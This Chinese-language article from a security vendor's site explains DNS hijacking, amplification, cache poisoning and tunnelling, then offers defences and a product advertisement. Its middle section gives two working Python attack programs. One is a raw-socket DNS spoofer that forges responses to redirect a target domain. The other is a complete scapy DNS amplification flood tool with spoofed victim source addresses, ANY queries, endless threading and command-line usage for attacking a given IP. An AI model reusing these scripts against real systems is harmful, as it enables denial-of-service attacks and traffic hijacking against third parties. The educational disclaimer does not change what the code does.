您的位置: 新闻资讯 > 行业动态 > 正文

Python 与 DNS 攻击:揭秘网络安全隐患(图文)


来源:mozhe 2024-11-27

什么是 DNS 攻击


DNS(Domain Name System)是互联网上的一种名称解析系统,将域名转换成 IP 地址。DNS 攻击就是篡改 DNS 解析结果,将受害者的流量重定向到攻击者控制的恶意网站上,窃取个人信息或进行其他恶意行为。
DNS 攻击的具体形式多种多样,主要包括以下几种常见类型:
1. DNS 劫持
又称域名劫持,攻击者利用缺陷对用户的 DNS 进行篡改,将域名由正常 IP 指向攻击者控制的 IP,从而导致访客被劫持到一个不可达或者假冒的网站,以此达到非法窃取用户信息或者破坏正常网络服务的目的。互联网服务提供商也可能通过 DNS 劫持来接管用户的 DNS 请求,收集统计数据并在用户访问未知域名时返回广告或者屏蔽对特定网站的访问。
2. DNS 放大攻击
是一种流行的 DDoS 攻击形式,其中目标系统被来自公共 DNS 服务器的查询响应淹没。攻击者向公共 DNS 服务器发送 DNS 名称查询,使用受害者的地址作为源地址,导致公共 DNS 服务器的响应都被发送到目标系统。攻击者通常会查询尽可能多的域名信息,以最大限度地发挥放大效果。通过使用僵尸网络,攻击者也可以毫不费力地生成大量虚假 DNS 查询。此外,由于响应是来自有效服务器的合法数据,因此很难防止 DNS 放大攻击。
3. DNS 缓存投毒
又称 DNS 欺骗,是一种通过查找并利用 DNS 系统中存在的漏洞,将流量从合法服务器引导至虚假服务器上的攻击方式。在实际的 DNS 解析过程中,用户请求某个网站,浏览器首先会查找本机中的 DNS 缓存,如果 DNS 缓存中记录了该网站和 IP 的映射关系,就会直接将结果返回给用户,用户对所得的 IP 地址发起访问。如果缓存中没有相关记录,才会委托递归服务器发起递归查询。这种查询机制,缩短了全球查询的时间,可以让用户获得更快的访问体验,但也存在一定的安全风险。如果攻击者通过控制用户的主机或者使用恶意软件攻击用户的 DNS 缓存,就可以对 DNS 缓存中的域名映射关系进行篡改,将域名解析结果指向一个虚假 IP。
4. DNS 隧道
另一种流行且经验丰富的攻击模式是 DNS 隧道。这种攻击主要利用客户端 - 服务器模型注入恶意软件和其他数据。利用这些数据的有效负载,网络犯罪分子可以接管 DNS 服务器,然后可能访问其管理功能和驻留在其上的应用程序。DNS 隧道通过 DNS 解析器在攻击者和目标之间创建隐藏连接,可绕过防火墙,用于实施数据泄露等攻击。在大多数情况下,DNS 隧道需要借助能够连接外网的受感染系统作为跳板,来访问具有网络访问权限的内部 DNS 服务器。
5. 僵尸网络反向代理(Fast Flux)
攻击者使用僵尸网络隐藏其网络钓鱼和恶意软件活动,逃避安全扫描。攻击者会使用受感染主机的动态 IP 地址充当后端僵尸网络主机的反向代理。Fast Flux 也可通过组合使用点对点网络、分布式命令和控制、基于 Web 的负载平衡和代理重定向等方法,使恶意软件网络更难被检测到。

二、常见的 Python 实现 DNS 攻击方法


DNS 欺骗攻击

  1. 原理:攻击者伪装成 DNS 服务器,向受害者发送虚假的 DNS 响应,告知受害者请求的域名对应的 IP 地址是攻击者控制的恶意网站的 IP 地址。
DNS 欺骗攻击就是通过篡改 DNS 解析结果,将受害者的流量重定向到恶意网站上。其具体实现过程为,当受害者发起对某个域名的 DNS 请求时,攻击者伪装成 DNS 服务器,拦截这个请求并发送虚假的 DNS 响应,使得受害者认为请求的域名对应的 IP 地址是攻击者指定的恶意网站地址,从而将受害者的流量引导至恶意网站。
  1. Python 实现示例:通过监听网络流量,当收到指定域名的 DNS 请求时,伪装成 DNS 服务器,将 DNS 响应修改为攻击者控制的 IP 地址。
以下是一个使用 Python 代码实现 DNS 欺骗攻击的简单示例。这个示例的作用是监听网络流量,当受到指定域名的 DNS 请求时,伪装成 DNS 服务器,将 DNS 响应修改为攻击者控制的 IP 地址。

 
import socket
import struct
# 监听的 DNS 请求域名和 IP 地址
target_domain = 'www.example.com'
target_ip = '192.168.1.100'
def get_dns_header(data):
# 解析 DNS 请求头部,返回标志位和查询问题数
header = struct.unpack('!6H', data[:12])
flags = header[1]
qdcount = header[2]
return flags, qdcount
def build_dns_response(data):
# 构造 DNS 响应报文
transaction_id = data[:2]
flags = b'\x81\x80'
qdcount = data[4:6]
ancount = b'\x00\x01'
nscount = b'\x00\x00'
arcount = b'\x00\x00'
query = data[12:]
# 构造 DNS 响应中的资源记录
response = target_domain.encode('ascii') + b'\x00'
response += b'\x00\x01\x00\x01'
response += b'\xc0\x0c'
response += b'\x00\x01\x00\x01'
response += b'\x00\x00\x00\x32'
response += b'\x00\x04'
response += socket.inet_aton(target_ip)
# 拼接 DNS 响应报文
dns_response = transaction_id + flags + qdcount + ancount + nscount + arcount + query + response
return dns_response
def main():
# 创建一个原始套接字,监听所有的网络流量
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
sock.bind(('0.0.0.0', 0))
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sock.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
while True:
# 接收网络流量
data, addr = sock.recvfrom(65535)
# 解析 IP 头部,判断协议是否为 UDP
ip_header = data[:20]
iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
protocol = iph[6]
if protocol!= 17:
continue
# 解析 UDP 头部,判断是否为 DNS 请求
udp_header = data[20:28]
udph = struct.unpack('!HHHH', udp_header)
src_port = udph[0]
dst_port = udph[1]
if dst_port!= 53:
continue
# 解析 DNS 请求头部,判断请求域名是否为目标域名
dns_header = get_dns_header(data[28:])
if dns_header[0] & 0x8000 == 0 and dns_header[1] == 1:
query = data[28+12:]
domain = query.split(b'\x00')[0].decode('ascii')
if domain == target_domain:
dns_response = build_dns_response(data[28:])
sock.sendto(dns_response, addr)
if __name__ == '__main__':
main()
请注意,这个示例仅用于学习和研究目的,任何未经授权的使用都是非法的。DNS 欺骗攻击是一种违法行为,攻击者可能会面临法律风险和刑事责任。

DNS 查询放大攻击

  1. 原理:通过网络中存在的 DNS 服务器资源,对目标主机发起拒绝服务攻击。伪造源地址为被攻击目标的地址,向 DNS 递归服务器发起查询请求,DNS 服务器回包时会默认回给伪造的 IP 地址,从而使 DNS 服务成为流量放大和攻击的实施者。
DNS 查询放大攻击利用了域名系统(DNS)协议中的一些特性,通过发送伪造的 DNS 查询请求,将目标服务器的响应放大,从而造成网络拥塞和服务不可用。具体来说,攻击者伪造源地址为被攻击目标的地址,向 DNS 递归服务器发起查询请求。由于源 IP 是伪造的,在 DNS 服务器回包的时候,会默认回给伪造的 IP 地址,从而使 DNS 服务成为了流量放大和攻击的实施者。攻击者通常会查询尽可能多的域名信息,以最大限度地发挥放大效果。通过使用僵尸网络,攻击者也可以毫不费力地生成大量虚假 DNS 查询。此外,由于响应是来自有效服务器的合法数据,因此很难防止 DNS 放大攻击。
  1. Python 实现示例:使用 scapy 工具构建 DNS 请求数据包,伪造源地址,通过大量的 DNS 查询请求实现针对目标主机的拒绝服务。
以下是使用 Python 实现 DNS 查询放大攻击的示例代码:

 
import os,sys,threading,time
from scapy.all import *
import argparse
def Inspect_DNS_Usability(filename):
proxy_list = []
fp = open(filename,"r")
for i in fp.readlines():
try:
addr = i.replace("\n","")
respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
if respon!= "":
proxy_list.append(str(respon["IP"].src))
except Exception:
pass
return proxy_list
def DNS_Flood(target,dns):
# 构造 IP 数据包
ip_pack = IP()
ip_pack.src = target
ip_pack.dst = dns
# ip_pack.src = "192.168.1.2"
# ip_pack.dst = "8.8.8.8"
# 构造 UDP 数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53
# 构造 DNS 数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1
# 构造 DNSQR 解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255
dnsqr_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \\| '_ \\ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\\__, |____/|_| |_|\\__,_|_| |_|\\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = argparse.ArgumentParser()
parser.add_argument("--mode",dest="mode",help="选择执行命令<check=检查 DNS 可用性/flood=攻击>")
parser.add_argument("-f","--file",dest="file",help="指定一个 DNS 字典,里面存储 DNSIP 地址")
parser.add_argument("-t",dest="target",help="输入需要攻击的 IP 地址")
args = parser.parse_args()
if args.mode == "check" and args.file:
proxy = Inspect_DNS_Usability(args.file)
fp = open("pass.log","w+")
for item in proxy:
fp.write(item + "\n")
fp.close()
print("[+] DNS 地址检查完毕,当前可用 DNS 保存为 pass.log")
elif args.mode == "flood" and args.target and args.file:
with open(args.file,"r") as fp:
countent = [line.rstrip("\n") for line in fp]
while True:
randomDNS = str(random.sample(countent,1)[0])
print("[+] 目标主机: {} -----> 随机 DNS: {}".format(args.target,randomDNS))
t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))
t.start()
else:
parser.print_help()
使用方式:
首先准备一个 test.log,里面一行一个存放所有的已知 DNS 列表,并通过 check 命令验证该 DNS 是否可用,并将可用的 DNS 保存为 pass.log。

 
main.py --mode=check -f dns.txt
当需要发起攻击时,只需要指定 pass.log 文件,则自动使用该 DNS 列表进行批量查询。

 
main.py --mode=flood -f pass.log -t 192.168.1.1

三、DNS 攻击的防御方法


安装杀毒软件和防火墙


安装杀毒软件和防火墙是防御 DNS 攻击的重要措施之一。这些软件可以监控网络流量,检测异常的 DNS 请求和响应,并及时阻断恶意流量。例如,一些知名的杀毒软件和防火墙产品能够实时分析网络通信,识别潜在的 DNS 劫持或欺骗行为。当检测到可疑的 DNS 活动时,它们会发出警报并采取相应的防护措施,保护用户的网络安全。

使用加密协议


使用加密协议如 HTTPS 协议可以有效防止被篡改的 DNS 响应。HTTPS 通过加密来验证服务器的身份,确保用户与目标服务器之间的通信安全。在 DNS 解析过程中,如果使用了 HTTPS,即使攻击者试图篡改 DNS 响应,也很难成功,因为加密机制会验证服务器的真实性。此外,一些新兴的加密 DNS 协议也在不断发展,为用户提供更强大的安全保障。

DNSSEC 技术


DNSSEC(Domain Name System Security Extensions)是一种安全扩展协议,可以增强 DNS 的安全性。它对 DNS 响应进行数字签名,验证响应的真实性。当用户发起 DNS 请求时,DNSSEC 确保返回的响应是来自合法的 DNS 服务器,并且没有被篡改。通过数字签名机制,DNSSEC 可以有效地防止 DNS 欺骗攻击,保护用户的网络安全。

四、总结



DNS 攻击具有极大的危害性,不仅会导致个人信息泄露,还可能造成网络瘫痪,给企业和个人带来巨大的损失。例如,DNS 放大攻击可以使目标系统被大量的查询响应淹没,造成网络拥塞;DNS 欺骗攻击可能会将用户引导至恶意网站,窃取用户的敏感信息;DNS 缓存投毒则可以篡改 DNS 缓存中的域名映射关系,将域名解析结果指向虚假 IP。
对于普通用户来说,要时刻保持警惕,合法使用技术,不参与任何非法的网络攻击行为。同时,安装杀毒软件和防火墙、使用加密协议如 HTTPS 等措施可以在一定程度上保护自己的网络安全。
对于网络安全从业者来说,要不断提升技术水平,加强对 DNS 攻击的防范和应对能力。例如,及时更新 DNS 服务器软件和操作系统,配置访问控制策略,加密 DNS 通信,建立监控和预警系统,定期进行安全审计等。只有通过共同努力,才能维护网络安全,保障互联网的稳定运行。
 

墨者安全 防护盾

墨者安全作为专业级别安全防护专家,在应对 Webshell 风险隐患方面展现出了卓越的能力。其拥有全面的检测机制,能够精准识别 Webshell 的各种类型和变体,无论是复杂的大马,还是隐蔽的内存马,都难逃其敏锐的监测。
墨者安全防护盾具备强大的实时监控功能,对服务器的各项活动进行 7*24 小时不间断的监视。一旦发现任何可疑的 Webshell 活动迹象,立即发出警报,并迅速采取隔离和清除措施,将风险扼杀在萌芽状态。
在防护策略上,墨者安全防护盾采用了多层次的防御体系。不仅能够在网络层面阻挡外部的恶意访问和攻击,还能深入系统内部,对服务器的文件系统、进程等进行深度检查和保护,确保 Webshell 无法植入和运行。
同时,墨者安全防护盾拥有快速的应急响应能力。当 Webshell 攻击事件发生时,专业的安全团队能够迅速介入,进行深入的分析和处理,最大程度减少攻击带来的损失,并帮助用户快速恢复服务器的正常运行。
墨者安全防护盾还注重用户教育和培训,为用户提供关于 Webshell 防范的专业知识和最佳实践,帮助用户提升自身的安全意识和防范能力,共同构建坚实的网络安全防线。

热门文章

X

7x24 小时

免费技术支持

15625276999


-->